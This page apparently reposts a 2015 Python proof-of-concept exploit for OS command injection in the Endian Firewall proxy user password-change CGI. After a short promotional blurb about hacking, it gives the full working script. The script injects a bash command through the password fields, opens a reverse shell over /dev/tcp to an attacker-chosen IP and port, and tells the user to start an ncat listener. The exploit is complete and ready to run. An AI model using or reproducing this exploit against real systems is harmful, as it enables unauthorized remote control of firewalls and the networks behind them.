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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/env python

# Endian Firewall Proxy User Password Change (/cgi-bin/chpasswd.cgi)
# OS Command Injection Exploit POC (Reverse TCP Shell)
# Ben Lincoln, 2015-06-28
# http://www.beneaththewaves.net/
# Requires knowledge of a valid proxy username and password on the target Endian Firewall

import httplib
import sys

proxyUserPasswordChangeURI = "/cgi-bin/chpasswd.cgi"

def main():
	if len(sys.argv) < 7:
		print "Endian Firewall Proxy User Password Change (/cgi-bin/chpasswd.cgi) Exploit\r\n"
		print "Usage: " + sys.argv[0] + " [TARGET_SYSTEM_IP] [TARGET_SYSTEM_WEB_PORT] [PROXY_USER_NAME] [PROXY_USER_PASSWORD] [REVERSE_SHELL_IP] [REVERSE_SHELL_PORT]\r\n"
		print "Example: " + sys.argv[0] + " 172.16.97.1 10443 proxyuser password123 172.16.97.17 443\r\n"
		print "Be sure you've started a TCP listener on the specified IP and port to receive the reverse shell when it connects.\r\n"
		print "E.g. ncat -nvlp 443"
		sys.exit(1)

	multipartDelimiter = "---------------------------334002631541493081770656718"
	
	targetIP = sys.argv[1]
	targetPort = sys.argv[2]
	userName = sys.argv[3]
	password = sys.argv[4]
	reverseShellIP = sys.argv[5]
	reverseShellPort = sys.argv[6]

	exploitString = password + "; /bin/bash -c /bin/bash -i >& /dev/tcp/" + reverseShellIP + "/" + reverseShellPort + " 0>&1;"

	endianURL = "https://" + targetIP + ":" + targetPort + proxyUserPasswordChangeURI

	conn = httplib.HTTPSConnection(targetIP, targetPort)
	headers = {}
	headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0"
	headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
	headers["Accept-Encoding"] = ""
	headers["Referer"] = "https://" + targetIP + ":" + targetPort + proxyUserPasswordChangeURI
	headers["Content-Type"] = "multipart/form-data; boundary=" + multipartDelimiter
	headers["Accept-Language"] = "en-US,en;q=0.5"
	headers["Connection"] = "keep-alive"

	multipartDelimiter = "--" + multipartDelimiter

	body = multipartDelimiter + "\r\n"
	body = body + "Content-Disposition: form-data; name=\"ACTION\"\r\n\r\n"
	body = body + "change\r\n"
	body = body + multipartDelimiter + "\r\n"
	body = body + "Content-Disposition: form-data; name=\"USERNAME\"\r\n\r\n"
	body = body + userName + "\r\n"
	body = body + multipartDelimiter + "\r\n"
	body = body + "Content-Disposition: form-data; name=\"OLD_PASSWORD\"\r\n\r\n"
	body = body + password + "\r\n"
	body = body + multipartDelimiter + "\r\n"
	body = body + "Content-Disposition: form-data; name=\"NEW_PASSWORD_1\"\r\n\r\n"
	body = body + exploitString + "\r\n"
	body = body + multipartDelimiter + "\r\n"
	body = body + "Content-Disposition: form-data; name=\"NEW_PASSWORD_2\"\r\n\r\n"
	body = body + exploitString + "\r\n"
	body = body + multipartDelimiter + "\r\n"
	body = body + "Content-Disposition: form-data; name=\"SUBMIT\"\r\n\r\n"
	body = body + "  Change password\r\n"
	body = body + multipartDelimiter + "--" + "\r\n"

	conn.request("POST", proxyUserPasswordChangeURI, body, headers)
	response = conn.getresponse()
	print "HTTP " + str(response.status) + " " + response.reason + "\r\n"
	print response.read()
	print "\r\n\r\n"

if __name__ == "__main__":
    main()